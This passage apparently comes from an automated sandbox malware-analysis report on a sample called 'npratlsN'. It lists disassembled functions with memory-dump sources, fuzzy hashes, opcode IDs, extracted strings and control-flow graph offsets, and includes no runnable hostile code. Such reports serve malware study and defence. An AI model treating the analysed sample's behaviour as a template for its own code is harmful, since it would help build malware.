                                                                                                                                                          • Instruction Fuzzy Hash: C7819374E00218DFDB18DFA9C990A9DBBB2FF88304F208569D815BB394DB359986CF54
                                                                                                                                                          Function 2F698020 Relevance: 1.4, Strings: 1, Instructions: 190COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: rg/
                                                                                                                                                          • API String ID: 0-1348006791
                                                                                                                                                          • Opcode ID: 208e58768456e89e3f926bbaa82333df15a6d9cd888f53c45a8b94e0418c6f51
                                                                                                                                                          • Instruction ID: 83d77e9e47bde78157130e9d0e7952efbd6b49b59bdc5ca9f6f459628269fc43
                                                                                                                                                          • Opcode Fuzzy Hash: 208e58768456e89e3f926bbaa82333df15a6d9cd888f53c45a8b94e0418c6f51
                                                                                                                                                          • Instruction Fuzzy Hash: 8771F675E012189FDB04CFB9D990A9DBBF2FF89310F14D429E908AB35ADB319942CB51
                                                                                                                                                          Function 2F7053C9 Relevance: 1.4, Strings: 1, Instructions: 141COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 69f80ceb6a20f06db58849800d2165ea80c1b52b6f93ed79d05fb025afe20e08
                                                                                                                                                          • Instruction ID: 0936948ae51ac17e93511c1c32c4a06df9b1d5b1a93e063cc5b713698040ce2b
                                                                                                                                                          • Opcode Fuzzy Hash: 69f80ceb6a20f06db58849800d2165ea80c1b52b6f93ed79d05fb025afe20e08
                                                                                                                                                          • Instruction Fuzzy Hash: 06413670D056188BDB18DFA6D8406CEBBF2BF88304F20E06ED518AB355EB345946CF54
                                                                                                                                                          Function 2F7053EF Relevance: 1.4, Strings: 1, Instructions: 119COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 92f6919661ffab427ec7606180aa96158a36d7d1fc81dc91212f1914cdca9c42
                                                                                                                                                          • Instruction ID: 1c9dd8eef8db4e1d91383c7dde228d46da6c78d975ecb665da3030ee100f8d1f
                                                                                                                                                          • Opcode Fuzzy Hash: 92f6919661ffab427ec7606180aa96158a36d7d1fc81dc91212f1914cdca9c42
                                                                                                                                                          • Instruction Fuzzy Hash: 4341F570D002199BDB08DFAAD850BDEBBF2BF89304F14D06AD518AB355EB355906CF54
                                                                                                                                                          Function 2F6965B0 Relevance: 1.4, Strings: 1, Instructions: 118COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 4223322c44702ca626b64d0ceb9c735e6d5932c82b0cf44a9fc11b47f442793f
                                                                                                                                                          • Instruction ID: 56a31645aa63c2eee4fde7d4773feccd2148e29afd0fb26ada7d1c06cffbcf5c
                                                                                                                                                          • Opcode Fuzzy Hash: 4223322c44702ca626b64d0ceb9c735e6d5932c82b0cf44a9fc11b47f442793f
                                                                                                                                                          • Instruction Fuzzy Hash: 5941C2B0D006088BEB14CFAAC8547DEBBF6EF89304F20D46AD418BB254DB765946CF54
                                                                                                                                                          Function 2F7053BB Relevance: 1.4, Strings: 1, Instructions: 113COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 69f2b4847ea15a7a58ffb750f05ffb1df7bbc5f7a5d8414597277da8e0490260
                                                                                                                                                          • Instruction ID: 1eca94ef970b74b757738001f8ede88f925ce1d27819ac887d4c1684ff305af5
                                                                                                                                                          • Opcode Fuzzy Hash: 69f2b4847ea15a7a58ffb750f05ffb1df7bbc5f7a5d8414597277da8e0490260
                                                                                                                                                          • Instruction Fuzzy Hash: 3841F270E016188BDB18DFAAD85469EFBF2BF88304F20E06AD518BB355EB345906CF54
                                                                                                                                                          Function 2F69DDF1 Relevance: 1.4, Strings: 1, Instructions: 105COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 116ab50e9fbb8e840e835c40bf5de028205b238531dc1270f347b7ef41881d7e
                                                                                                                                                          • Instruction ID: 1d27f99eca843cc07dd8ba513f97c10f2f1ac81489cd5b3b06a7f2d720b4a27a
                                                                                                                                                          • Opcode Fuzzy Hash: 116ab50e9fbb8e840e835c40bf5de028205b238531dc1270f347b7ef41881d7e
                                                                                                                                                          • Instruction Fuzzy Hash: F841D170E006489BEB08CFEAD94469EFBF2EF89304F20D12AD418BB254EB755946CF54
                                                                                                                                                          Function 2F697AE0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 68adb68f93a5c40574cb3a4b83d17e4ebe9f9a4a339a6a3cbfb0ab1d1ebf2374
                                                                                                                                                          • Instruction ID: 6dd32b1c10b7b8a6acafd5bceb0d11acddad73e684ae6926828c56bf700d74ea
                                                                                                                                                          • Opcode Fuzzy Hash: 68adb68f93a5c40574cb3a4b83d17e4ebe9f9a4a339a6a3cbfb0ab1d1ebf2374
                                                                                                                                                          • Instruction Fuzzy Hash: 2B41D470E006488BEB18CFAAD9446DEBBF2EF89304F20D42AD418BB254DB745946CF54
                                                                                                                                                          Function 2F70E399 Relevance: 1.4, Strings: 1, Instructions: 103COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 344d0b342267feae5c16c59be25bac55f7044ae058db7a00996212e96808ca19
                                                                                                                                                          • Instruction ID: ee541901afa5df827d3d42b7502641fbd81bcaa73077430c283eeacb1868f1a7
                                                                                                                                                          • Opcode Fuzzy Hash: 344d0b342267feae5c16c59be25bac55f7044ae058db7a00996212e96808ca19
                                                                                                                                                          • Instruction Fuzzy Hash: 4841F270E002188BDB18DFAAD854BDEBBF2BF89304F10D16AD518BB294EB345946CF54
                                                                                                                                                          Function 2F691E9E Relevance: 1.4, Strings: 1, Instructions: 101COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 0a7c9d69931c8c616f1c8310a60b97a0d784c3ee1cb54448f0b24550a8cb3c8b
                                                                                                                                                          • Instruction ID: a8652fde578168f76e23e4d2246e5f5d88d8c0b6e18e94756b7402f1772ce772
                                                                                                                                                          • Opcode Fuzzy Hash: 0a7c9d69931c8c616f1c8310a60b97a0d784c3ee1cb54448f0b24550a8cb3c8b
                                                                                                                                                          • Instruction Fuzzy Hash: B741C170E01608CBEB18DFAAC9446DEBBF2EF89300F20D12AD418AB254DB755946CF54
                                                                                                                                                          Function 2F740E87 Relevance: 1.4, Strings: 1, Instructions: 101COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 38917a211fdf96ef23b8771695b4cc9997c3fca3d541bbfd6e7dc7b5e3565880
                                                                                                                                                          • Instruction ID: 630fbbf9f35b79d6e7b4a725bf52098240d826bdd353ee317acd328a58e1c096
                                                                                                                                                          • Opcode Fuzzy Hash: 38917a211fdf96ef23b8771695b4cc9997c3fca3d541bbfd6e7dc7b5e3565880
                                                                                                                                                          • Instruction Fuzzy Hash: 5D41CE70E00618CBEB18DFAAD84479EBBF2BF89304F10D16AD418BB254EB359946CF54
                                                                                                                                                          Function 2F74ECC8 Relevance: 1.3, Strings: 1, Instructions: 95COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 025a7efaf8fef8325946fd5a069f208b290ebf3c44d4e1e3ae82f64c1005ccd1
                                                                                                                                                          • Instruction ID: 15b143c19d4ee98afa29855cc49c80d493753770e33f77e3d2b7166481a0793c
                                                                                                                                                          • Opcode Fuzzy Hash: 025a7efaf8fef8325946fd5a069f208b290ebf3c44d4e1e3ae82f64c1005ccd1
                                                                                                                                                          • Instruction Fuzzy Hash: 8F31E270E002588BDB08CFAAD8406DEFBF2BF89300F10D06AD818BB294EB345946CF55
                                                                                                                                                          Function 2E5CF0C9 Relevance: .7, Instructions: 714COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: e7a92d6d2aa6b63a4638f1c08b86d4d86ab093a37a1a0b3525cfc25d10ffc1c1
                                                                                                                                                          • Instruction ID: 4151e9c803e15d59aefac0efd1c551349f569b0704580b5ba7e4b7f96d2f3f57
                                                                                                                                                          • Opcode Fuzzy Hash: e7a92d6d2aa6b63a4638f1c08b86d4d86ab093a37a1a0b3525cfc25d10ffc1c1
                                                                                                                                                          • Instruction Fuzzy Hash: 3972DE74E152288FDB24CF6AC994BD9BBF2BB59304F10A1E9E508A7351DB349E81CF50
                                                                                                                                                          Function 2F68178B Relevance: .2, Instructions: 202COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: ce0ed1bcfc9d24425bad511c55860b6d8e293d189c8a4807207881265bc081af
                                                                                                                                                          • Instruction ID: d8b40744c17b88ae95ef2d88bc216dbd57c9ad29cff9a8b04f299d25b8b49139
                                                                                                                                                          • Opcode Fuzzy Hash: ce0ed1bcfc9d24425bad511c55860b6d8e293d189c8a4807207881265bc081af
                                                                                                                                                          • Instruction Fuzzy Hash: 0691E2B0D00208CFEB14DFA8C984BDCBBB1FF49314F209269E509AB292DB759985CF14
                                                                                                                                                          Function 2E5CD490 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 77766539cbb9e01c85598e669c3803cbd8c2f0b5a24811862de52db2849286a5
                                                                                                                                                          • Instruction ID: 4a064027030cbbd4228054c5a6d374981681fdf26c988c498501bc155e2bfdb2
                                                                                                                                                          • Opcode Fuzzy Hash: 77766539cbb9e01c85598e669c3803cbd8c2f0b5a24811862de52db2849286a5
                                                                                                                                                          • Instruction Fuzzy Hash: A451A674E00208DFDB08DFAAD594A9DBBF6EF89300F209429E815AB364DB759945CF50
                                                                                                                                                          Function 2E5CD481 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 489cea5e5fc5eac789327232f20823aa94c2ac7e9bdf97ca77d57e11b7f947b0
                                                                                                                                                          • Instruction ID: fe9cc210b6ce73a79bbc0e76fe878087c0ea30772420170515fbc1ec99ba40b7
                                                                                                                                                          • Opcode Fuzzy Hash: 489cea5e5fc5eac789327232f20823aa94c2ac7e9bdf97ca77d57e11b7f947b0
                                                                                                                                                          • Instruction Fuzzy Hash: 2551A774E00208DFDB08DFAAD594A9DBBF2EF89300F209429E815BB365DB759945CF10
                                                                                                                                                          Function 2E5C7320 Relevance: 31.9, Strings: 25, Instructions: 694COMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 417 2e5c7320-2e5c780e 492 2e5c7814-2e5c7824 417->492 493 2e5c7d60-2e5c7d95 417->493 492->493 494 2e5c782a-2e5c783a 492->494 498 2e5c7d97-2e5c7d9c 493->498 499 2e5c7da1-2e5c7dbf 493->499 494->493 495 2e5c7840-2e5c7850 494->495 495->493 497 2e5c7856-2e5c7866 495->497 497->493 500 2e5c786c-2e5c787c 497->500 501 2e5c7e86-2e5c7e8b 498->501 510 2e5c7e36-2e5c7e42 499->510 511 2e5c7dc1-2e5c7dcb 499->511 500->493 503 2e5c7882-2e5c7892 500->503 503->493 504 2e5c7898-2e5c78a8 503->504 504->493 506 2e5c78ae-2e5c78be 504->506 506->493 507 2e5c78c4-2e5c78d4 506->507 507->493 509 2e5c78da-2e5c78ea 507->509 509->493 512 2e5c78f0-2e5c7d5f 509->512 517 2e5c7e59-2e5c7e65 510->517 518 2e5c7e44-2e5c7e50 510->518 511->510 516 2e5c7dcd-2e5c7dd9 511->516 527 2e5c7dfe-2e5c7e01 516->527 528 2e5c7ddb-2e5c7de6 516->528 525 2e5c7e7c-2e5c7e7e 517->525 526 2e5c7e67-2e5c7e73 517->526 518->517 523 2e5c7e52-2e5c7e57 518->523 523->501 525->501 604 2e5c7e80 call 2e5c7f18 525->604 526->525 537 2e5c7e75-2e5c7e7a 526->537 529 2e5c7e18-2e5c7e24 527->529 530 2e5c7e03-2e5c7e0f 527->530 528->527 539 2e5c7de8-2e5c7df2 528->539 533 2e5c7e8c-2e5c7ea5 529->533 534 2e5c7e26-2e5c7e2d 529->534 530->529 540 2e5c7e11-2e5c7e16 530->540 534->533 538 2e5c7e2f-2e5c7e34 534->538 537->501 538->501 539->527 544 2e5c7df4-2e5c7df9 539->544 540->501 544->501 604->501
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: ([.$4[.$@[.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$^O.$~O.$$^q$$^q
                                                                                                                                                          • API String ID: 0-273781334
                                                                                                                                                          • Opcode ID: 988c9f3007706718e7a3257c1e96523d1bf52f4fa0d54513b42b6bfaaa10aec0
                                                                                                                                                          • Instruction ID: f8a1e9ccd6ec0fe14c7e5664ad9c1d2d2c34a92c451a2626721fbcfc8402a348
                                                                                                                                                          • Opcode Fuzzy Hash: 988c9f3007706718e7a3257c1e96523d1bf52f4fa0d54513b42b6bfaaa10aec0
                                                                                                                                                          • Instruction Fuzzy Hash: 1D522474A10218CFEB149BA4C8A0B9EBBB6FF54340F1495AEC00AAB365CF359D85DF51
                                                                                                                                                          Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 605 40cbf7-40cc06 606 40cc08-40cc14 605->606 607 40cc2f 605->607 606->607 608 40cc16-40cc1d 606->608 609 40cc33-40cc3d call 40d534 607->609 608->607 610 40cc1f-40cc2d 608->610 613 40cc47 609->613 614 40cc3f-40cc46 call 40cbb4 609->614 610->609 616 40cc47 call 41087e 613->616 614->613 618 40cc4c-40cc4e 616->618 619 40cc50-40cc57 call 40cbb4 618->619 620 40cc58-40cc68 call 4129c9 call 411a15 618->620 619->620 627 40cc72-40cc82 GetCommandLineA call 412892 620->627 628 40cc6a-40cc71 call 40e79a 620->628 633 40cc87 call 4127d7 627->633 628->627 634 40cc8c-40cc8e 633->634 635 40cc90-40cc97 call 40e79a 634->635 636 40cc98-40cc9f call 41255f 634->636 635->636 641 40cca1-40cca8 call 40e79a 636->641 642 40cca9-40ccb3 call 40e859 636->642 641->642 647 40ccb5-40ccbb call 40e79a 642->647 648 40ccbc-40ccd3 call 4019f0 642->648 647->648 652 40ccd8-40cce2 648->652 653 40cce4-40cce5 call 40ea0a 652->653 654 40ccea-40cd2e call 40ea36 call 40e21d 652->654 653->654
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2598563909-0
                                                                                                                                                          • Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                          • Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
                                                                                                                                                          • Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                          • Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C
                                                                                                                                                          Function 2E5C6581 Relevance: 10.5, Strings: 8, Instructions: 456COMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 743 2e5c6581-2e5c658e 744 2e5c65bb-2e5c65de 743->744 745 2e5c6590-2e5c65b5 743->745 753 2e5c668c-2e5c6690 744->753 754 2e5c65e4-2e5c65f1 744->754 745->744 746 2e5c69e4-2e5c69e8 745->746 747 2e5c69ea-2e5c69fe 746->747 748 2e5c6a01-2e5c6a0f 746->748 755 2e5c6a80-2e5c6a95 748->755 756 2e5c6a11-2e5c6a26 748->756 757 2e5c66d8-2e5c66e1 753->757 758 2e5c6692-2e5c66a0 753->758 766 2e5c6600 754->766 767 2e5c65f3-2e5c65fe 754->767 768 2e5c6a9c-2e5c6aa9 755->768 769 2e5c6a97-2e5c6a9a 755->769 770 2e5c6a2d-2e5c6a3a 756->770 771 2e5c6a28-2e5c6a2b 756->771 759 2e5c6af7 757->759 760 2e5c66e7-2e5c66f1 757->760 758->757 774 2e5c66a2-2e5c66bd 758->774 775 2e5c6afc-2e5c6b10 759->775 760->746 764 2e5c66f7-2e5c6700 760->764 772 2e5c670f-2e5c671b 764->772 773 2e5c6702-2e5c6707 764->773 778 2e5c6602-2e5c6604 766->778 767->778 776 2e5c6aab-2e5c6ae6 768->776 769->776 777 2e5c6a3c-2e5c6a7d 770->777 771->777 772->775 782 2e5c6721-2e5c6727 772->782 773->772 799 2e5c66bf-2e5c66c9 774->799 800 2e5c66cb 774->800 819 2e5c6aed-2e5c6af4 776->819 778->753 779 2e5c660a-2e5c666c 778->779 828 2e5c666e 779->828 829 2e5c6672-2e5c6689 779->829 787 2e5c672d-2e5c673d 782->787 788 2e5c69ce-2e5c69d2 782->788 797 2e5c673f-2e5c674f 787->797 798 2e5c6751-2e5c6753 787->798 788->759 791 2e5c69d8-2e5c69de 788->791 791->746 791->764 803 2e5c6756-2e5c675c 797->803 798->803 804 2e5c66cd-2e5c66cf 799->804 800->804 803->788 808 2e5c6762-2e5c6771 803->808 804->757 809 2e5c66d1 804->809 810 2e5c681f-2e5c684a call 2e5c63c8 * 2 808->810 811 2e5c6777 808->811 809->757 830 2e5c6934-2e5c694e 810->830 831 2e5c6850-2e5c6854 810->831 814 2e5c677a-2e5c678b 811->814 814->775 818 2e5c6791-2e5c67a3 814->818 818->775 821 2e5c67a9-2e5c67c3 call 2e5c6b60 818->821 824 2e5c67c9-2e5c67d9 821->824 824->788 827 2e5c67df-2e5c67e2 824->827 832 2e5c67ec-2e5c67ef 827->832 833 2e5c67e4-2e5c67ea 827->833 828->829 829->753 830->746 853 2e5c6954-2e5c6958 830->853 831->788 835 2e5c685a-2e5c685e 831->835 832->759 836 2e5c67f5-2e5c67f8 832->836 833->832 833->836 838 2e5c6886-2e5c688c 835->838 839 2e5c6860-2e5c686d 835->839 840 2e5c67fa-2e5c67fe 836->840 841 2e5c6800-2e5c6803 836->841 842 2e5c688e-2e5c6892 838->842 843 2e5c68c7-2e5c68cd 838->843 856 2e5c687c 839->856 857 2e5c686f-2e5c687a 839->857 840->841 844 2e5c6809-2e5c680d 840->844 841->759 841->844 842->843 845 2e5c6894-2e5c689d 842->845 846 2e5c68cf-2e5c68d3 843->846 847 2e5c68d9-2e5c68df 843->847 844->759 850 2e5c6813-2e5c6819 844->850 851 2e5c68ac-2e5c68c2 845->851 852 2e5c689f-2e5c68a4 845->852 846->819 846->847 854 2e5c68eb-2e5c68ed 847->854 855 2e5c68e1-2e5c68e5 847->855 850->810 850->814 851->788 852->851 858 2e5c695a-2e5c6964 call 2e5c5258 853->858 859 2e5c6994-2e5c6998 853->859 860 2e5c68ef-2e5c68f8 854->860 861 2e5c6922-2e5c6924 854->861 855->788 855->854 862 2e5c687e-2e5c6880 856->862 857->862 858->859 873 2e5c6966-2e5c697b 858->873 859->819 865 2e5c699e-2e5c69a2 859->865 868 2e5c68fa-2e5c68ff 860->868 869 2e5c6907-2e5c691d 860->869 861->788 863 2e5c692a-2e5c6931 861->863 862->788 862->838 865->819 870 2e5c69a8-2e5c69b5 865->870 868->869 869->788 875 2e5c69c4 870->875 876 2e5c69b7-2e5c69c2 870->876 873->859 881 2e5c697d-2e5c6992 873->881 878 2e5c69c6-2e5c69c8 875->878 876->878 878->788 878->819 881->746 881->859
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
                                                                                                                                                          • API String ID: 0-1932283790
                                                                                                                                                          • Opcode ID: 7bef4bf856de51e8559b03ecc2f59a1e2b183eb69e58b3b24a674db855c54654
                                                                                                                                                          • Instruction ID: e75362be0ccbf9b7488a8c8951e7207d153aca9130d8a898f27b9824853525e9
                                                                                                                                                          • Opcode Fuzzy Hash: 7bef4bf856de51e8559b03ecc2f59a1e2b183eb69e58b3b24a674db855c54654
                                                                                                                                                          • Instruction Fuzzy Hash: 99128930A20208DFCB04CFA9C9A4AAEBBF1BF58714F109569E509DB2A1D770EE45CB51
                                                                                                                                                          Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 1544 4018f0-4018fa 1545 401903-40193e lstrlenA call 4017e0 MultiByteToWideChar 1544->1545 1546 4018fc-401900 1544->1546 1549 401940-401949 GetLastError 1545->1549 1550 401996-40199a 1545->1550 1551 40194b-40198c MultiByteToWideChar call 4017e0 MultiByteToWideChar 1549->1551 1552 40198d-40198f 1549->1552 1551->1552 1552->1550 1554 401991 call 401030 1552->1554 1554->1550
                                                                                                                                                          APIs
